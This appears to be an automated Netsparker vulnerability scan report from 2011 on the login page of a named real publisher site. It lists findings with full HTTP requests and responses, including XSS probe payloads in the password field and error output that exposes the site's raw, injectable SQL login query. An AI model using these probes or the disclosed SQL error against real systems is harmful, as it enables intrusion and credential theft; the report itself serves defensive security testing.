__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST Ronald Smith
LoginPassword POST '"--></style></script><script>alert(0x0001DB)</script>
SubmitButton POST Login

Request

POST /Affiliate/login.aspx HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 476
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=Ronald+Smith&LoginPassword=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x0001DB)%3C%2Fscript%3E&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 496
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:59:31 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x0001DB)</script>'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x0001DB)</script>'
Password Transmitted Over HTTP

Password Transmitted Over HTTP

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.

Impact

If an attacker can intercept network traffic he/she can steal users credentials.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitB..

Form target action

login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login

Request

GET /Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx?__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=0yrta4eosgvdccnykiqvy0jk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4249
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:56:50 GMT




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
Login
</title><link href="../Styles/PubConsole.css" type="text/css" rel="stylesheet" /></head>
<body>

<div id="main">
<div class="wrap">

<div style="width:400px; margin:100px auto 250px auto; text-align:center; ">

<a href="http://www.mediapass.com"><img src="../Images/mpImages/logo1.gif" alt="MediaPass Login" border="0" /></a>

<b class="xtop"><b class="xb1"></b><b class="xb2"></b><b class="xb3"></b><b class="xb4"></b></b>
<div class="xboxcontent" style="padding:15px;">

<form name="form1" method="post" action="login.aspx?chkStoreLogin=&amp;LoginName=&amp;LoginPassword=&amp;SubmitButton=Login" id="form1">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==" />

<script type="text/javascript">
<!--
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
// -->
</script>


<script src="/WebResource.axd?d=V0UOvKhRlmgPoJmZqw8KQA2&amp;t=633750263846926384" type="text/javascript"></script>

<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=" />



<table id="TableData" class="tableMain" cellspacing="2" cellpadding="5" width="100%" style="margin-top:-5px;">
<tr>
<TD style="background-color:#eee; padding:5px 0px;" align="center" colspan="2"><STRONG class="tableMainHeaderFont"><span id="lblLanguage1">Publisher Console Login</span></STRONG></TD>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage2">*Email</span></span></TD>
<TD align="left"><input name="LoginName" type="text" maxlength="255" size="30" id="LoginName" />&nbsp;</TD>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage3">* Password</span></span></TD>
<TD align="left"><input name="LoginPassword" type="password" maxlength="50" size="30" id="LoginPassword" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2">
<span class="tableMainBodyFont" style="font-size:11px;"><input id="chkStoreLogin" type="checkbox" name="chkStoreLogin" /><label for="chkStoreLogin"> Remember me on this computer</label></span></TD>
</tr>
<tr>
<TD align="center" colspan="2">
<input type="submit" name="SubmitButton" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions(&quot;SubmitButton&quot;, &quot;&quot;, true, &quot;&quot;, &quot;&quot;, false, false))" language="javascript" id="SubmitButton" class="btnSubmit" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2"><span class="tableMainBodyFont" style="font-size:11px;"><A href="ForgotPassword.aspx"><span id="lblLanguage4">Click here if you forgot your login information.</span></A></span></TD>
</tr>
</table>

<table id="TableMessage" cellspacing="2" cellpadding="5" width="100%" border="0">
<tr>
<TD align="center" colspan="2"></TD>
</tr>
</table>

</form>

</div>
<b class="xbottom"><b class="xb4"></b><b class="xb3"></b><b class="xb2"></b><b class="xb1"></b></b>

</div>

</div><!--End wrap-->
</div><!--End main-->

<!--Begin MP Footer-->
<div id="footer">
<div class="wrap">
<p>
&copy; 2010 Media Mogul
<img src="/Images/mpImages/mediamogul.gif" border="0" />
</p>
</div>
</div>
<!--End MP Footer-->

</body>
</html>
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitB..

Identified Field Name

LoginPassword

Request

GET /Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx?__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=0yrta4eosgvdccnykiqvy0jk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4249
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:56:50 GMT




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
Login
</title><link href="../Styles/PubConsole.css" type="text/css" rel="stylesheet" /></head>
<body>

<div id="main">
<div class="wrap">

<div style="width:400px; margin:100px auto 250px auto; text-align:center; ">

<a href="http://www.mediapass.com"><img src="../Images/mpImages/logo1.gif" alt="MediaPass Login" border="0" /></a>

<b class="xtop"><b class="xb1"></b><b class="xb2"></b><b class="xb3"></b><b class="xb4"></b></b>
<div class="xboxcontent" style="padding:15px;">

<form name="form1" method="post" action="login.aspx?chkStoreLogin=&amp;LoginName=&amp;LoginPassword=&amp;SubmitButton=Login" id="form1">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==" />

<script type="text/javascript">
<!--
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
// -->
</script>


<script src="/WebResource.axd?d=V0UOvKhRlmgPoJmZqw8KQA2&amp;t=633750263846926384" type="text/javascript"></script>

<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=" />



<table id="TableData" class="tableMain" cellspacing="2" cellpadding="5" width="100%" style="margin-top:-5px;">
<tr>
<TD style="background-color:#eee; padding:5px 0px;" align="center" colspan="2"><STRONG class="tableMainHeaderFont"><span id="lblLanguage1">Publisher Console Login</span></STRONG></TD>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage2">*Email</span></span></TD>
<TD align="left"><input name="LoginName" type="text" maxlength="255" size="30" id="LoginName" />&nbsp;</TD>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage3">* Password</span></span></TD>
<TD align="left"><input name="LoginPassword" type="password" maxlength="50" size="30" id="LoginPassword" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2">
<span class="tableMainBodyFont" style="font-size:11px;"><input id="chkStoreLogin" type="checkbox" name="chkStoreLogin" /><label for="chkStoreLogin"> Remember me on this computer</label></span></TD>
</tr>
<tr>
<TD align="center" colspan="2">
<input type="submit" name="SubmitButton" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions(&quot;SubmitButton&quot;, &quot;&quot;, true, &quot;&quot;, &quot;&quot;, false, false))" language="javascript" id="SubmitButton" class="btnSubmit" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2"><span class="tableMainBodyFont" style="font-size:11px;"><A href="ForgotPassword.aspx"><span id="lblLanguage4">Click here if you forgot your login information.</span></A></span></TD>
</tr>
</table>

<table id="TableMessage" cellspacing="2" cellpadding="5" width="100%" border="0">
<tr>
<TD align="center" colspan="2"></TD>
</tr>
</table>

</form>

</div>
<b class="xbottom"><b class="xb4"></b><b class="xb3"></b><b class="xb2"></b><b class="xb1"></b></b>

</div>

</div><!--End wrap-->
</div><!--End main-->

<!--Begin MP Footer-->
<div id="footer">
<div class="wrap">
<p>
&copy; 2010 Media Mogul
<img src="/Images/mpImages/mediamogul.gif" border="0" />
</p>
</div>
</div>
<!--End MP Footer-->

</body>
</html>
ASP.NET Version Disclosure

ASP.NET Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.

Impact

An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.

Remedy

Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<System.Web>
     < httpRuntime enableVersionHeader="false" /> 
     <customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
          <error statusCode="403" redirect="~/error/Forbidden.aspx" />
          <error statusCode="404" redirect="~/error/PageNotFound.aspx" />
          <error statusCode="500" redirect="~/error/InternalError.aspx" />
     </customErrors>
</System.Web>

Remedy References

- /Affiliate/login.aspx

/Affiliate/login.aspx

http://publisher.mediapass.com/Affiliate/login.aspx

Extracted Version

X-AspNet-Version: 2.0.50727

Request

GET /Affiliate/login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4177
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Set-Cookie: ASP.NET_SessionId=iynf1l45wp2bqs2vazqe0a2m; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:56:51 GMT




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
Login
</title><link href="../Styles/PubConsole.css" type="text/css" rel="stylesheet" /></head>
<body>

<div id="main">
<div class="wrap">

<div style="width:400px; margin:100px auto 250px auto; text-align:center; ">

<a href="http://www.mediapass.com"><img src="../Images/mpImages/logo1.gif" alt="MediaPass Login" border="0" /></a>

<b class="xtop"><b class="xb1"></b><b class="xb2"></b><b class="xb3"></b><b class="xb4"></b></b>
<div class="xboxcontent" style="padding:15px;">

<form name="form1" method="post" action="login.aspx" id="form1">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==" />

<script type="text/javascript">
<!--
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
// -->
</script>


<script src="/WebResource.axd?d=V0UOvKhRlmgPoJmZqw8KQA2&amp;t=633750263846926384" type="text/javascript"></script>

<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=" />



<table id="TableData" class="tableMain" cellspacing="2" cellpadding="5" width="100%" style="margin-top:-5px;">
<tr>
<TD style="background-color:#eee; padding:5px 0px;" align="center" colspan="2"><STRONG class="tableMainHeaderFont"><span id="lblLanguage1">Publisher Console Login</span></STRONG></TD>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage2">*Email</span></span></TD>
<TD align="left"><input name="LoginName" type="text" maxlength="255" size="30" id="LoginName" />&nbsp;</TD>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage3">* Password</span></span></TD>
<TD align="left"><input name="LoginPassword" type="password" maxlength="50" size="30" id="LoginPassword" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2">
<span class="tableMainBodyFont" style="font-size:11px;"><input id="chkStoreLogin" type="checkbox" name="chkStoreLogin" /><label for="chkStoreLogin"> Remember me on this computer</label></span></TD>
</tr>
<tr>
<TD align="center" colspan="2">
<input type="submit" name="SubmitButton" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions(&quot;SubmitButton&quot;, &quot;&quot;, true, &quot;&quot;, &quot;&quot;, false, false))" language="javascript" id="SubmitButton" class="btnSubmit" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2"><span class="tableMainBodyFont" style="font-size:11px;"><A href="ForgotPassword.aspx"><span id="lblLanguage4">Click here if you forgot your login information.</span></A></span></TD>
</tr>
</table>

<table id="TableMessage" cellspacing="2" cellpadding="5" width="100%" border="0">
<tr>
<TD align="center" colspan="2"></TD>
</tr>
</table>

</form>

</div>
<b class="xbottom"><b class="xb4"></b><b class="xb3"></b><b class="xb2"></b><b class="xb1"></b></b>

</div>

</div><!--End wrap-->
</div><!--End main-->

<!--Begin MP Footer-->
<div id="footer">
<div class="wrap">
<p>
&copy; 2010 Media Mogul
<img src="/Images/mpImages/mediamogul.gif" border="0" />
</p>
</div>
</div>
<!--End MP Footer-->

</body>
</html>
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /Affiliate/login.aspx

/Affiliate/login.aspx

http://publisher.mediapass.com/Affiliate/login.aspx?__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDAT..

Parameters

Parameter Type Value
__EVENTARGUMENT GET 3
__EVENTTARGET GET 3
__EVENTVALIDATION GET /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
__VIEWSTATE GET /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==
chkStoreLogin GET 3
LoginName GET http://netsparker.com/n? .aspx
LoginPassword GET 3
SubmitButton GET Login

Request

GET /Affiliate/login.aspx?__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&chkStoreLogin=3&LoginName=http://netsparker.com/n?%00.aspx&LoginPassword=3&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=3dblco45rajq5xaqa1uovnzy
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 496
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:57:23 GMT


Incorrect syntax near 'http://netsparker.com/n?'.
Unclosed quotation mark after the character string 'http://netsparker.com/n?'.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'http://netsparker.com/n? .aspx' Or Email=N'http://netsparker.com/n? .aspx') And LoginPassword=N'3'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'http://netsparker.com/n? .aspx' Or Email=N'http://netsparker.com/n? .aspx') And LoginPassword=N'3'
ViewState is not Encrypted

ViewState is not Encrypted

1 TOTAL
LOW
Netsparker identified that the target web application doesn't use encryption on ViewState data.

Impact

An attacker can study the application's state management logic for possible vulnerabilities and if your application stores application-critical information in the ViewState; it will also be revealed.

Remedy

ASP.NET provides encryption for ViewState parameters.

For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode="Always" %>
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
<System.Web>
	<pages viewStateEncryptionMode="Always"> 
</System.Web>      

Remedy References

- /Affiliate/login.aspx

/Affiliate/login.aspx

http://publisher.mediapass.com/Affiliate/login.aspx

ViewState Version

.NET Framework 2.x

Request

GET /Affiliate/login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 4177
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Set-Cookie: ASP.NET_SessionId=iynf1l45wp2bqs2vazqe0a2m; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:56:51 GMT




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
Login
</title><link href="../Styles/PubConsole.css" type="text/css" rel="stylesheet" /></head>
<body>

<div id="main">
<div class="wrap">

<div style="width:400px; margin:100px auto 250px auto; text-align:center; ">

<a href="http://www.mediapass.com"><img src="../Images/mpImages/logo1.gif" alt="MediaPass Login" border="0" /></a>

<b class="xtop"><b class="xb1"></b><b class="xb2"></b><b class="xb3"></b><b class="xb4"></b></b>
<div class="xboxcontent" style="padding:15px;">

<form name="form1" method="post" action="login.aspx" id="form1">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==" />

<script type="text/javascript">
<!--
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
// -->
</script>


<script src="/WebResource.axd?d=V0UOvKhRlmgPoJmZqw8KQA2&amp;t=633750263846926384" type="text/javascript"></script>

<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=" />



<table id="TableData" class="tableMain" cellspacing="2" cellpadding="5" width="100%" style="margin-top:-5px;">
<tr>
<TD style="background-color:#eee; padding:5px 0px;" align="center" colspan="2"><STRONG class="tableMainHeaderFont"><span id="lblLanguage1">Publisher Console Login</span></STRONG></TD>
</tr>
<tr>
<td>&nbsp;</td>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage2">*Email</span></span></TD>
<TD align="left"><input name="LoginName" type="text" maxlength="255" size="30" id="LoginName" />&nbsp;</TD>
</tr>
<tr>
<TD align="right"><span class="tableMainBodyFont"><span id="lblLanguage3">* Password</span></span></TD>
<TD align="left"><input name="LoginPassword" type="password" maxlength="50" size="30" id="LoginPassword" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2">
<span class="tableMainBodyFont" style="font-size:11px;"><input id="chkStoreLogin" type="checkbox" name="chkStoreLogin" /><label for="chkStoreLogin"> Remember me on this computer</label></span></TD>
</tr>
<tr>
<TD align="center" colspan="2">
<input type="submit" name="SubmitButton" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions(&quot;SubmitButton&quot;, &quot;&quot;, true, &quot;&quot;, &quot;&quot;, false, false))" language="javascript" id="SubmitButton" class="btnSubmit" />&nbsp;</TD>
</tr>
<tr>
<TD align="center" colspan="2"><span class="tableMainBodyFont" style="font-size:11px;"><A href="ForgotPassword.aspx"><span id="lblLanguage4">Click here if you forgot your login information.</span></A></span></TD>
</tr>
</table>

<table id="TableMessage" cellspacing="2" cellpadding="5" width="100%" border="0">
<tr>
<TD align="center" colspan="2"></TD>
</tr>
</table>

</form>

</div>
<b class="xbottom"><b class="xb4"></b><b class="xb3"></b><b class="xb2"></b><b class="xb1"></b></b>

</div>

</div><!--End wrap-->
</div><!--End main-->

<!--Begin MP Footer-->
<div id="footer">
<div class="wrap">
<p>
&copy; 2010 Media Mogul
<img src="/Images/mpImages/mediamogul.gif" border="0" />
</p>
</div>
</div>
<!--End MP Footer-->

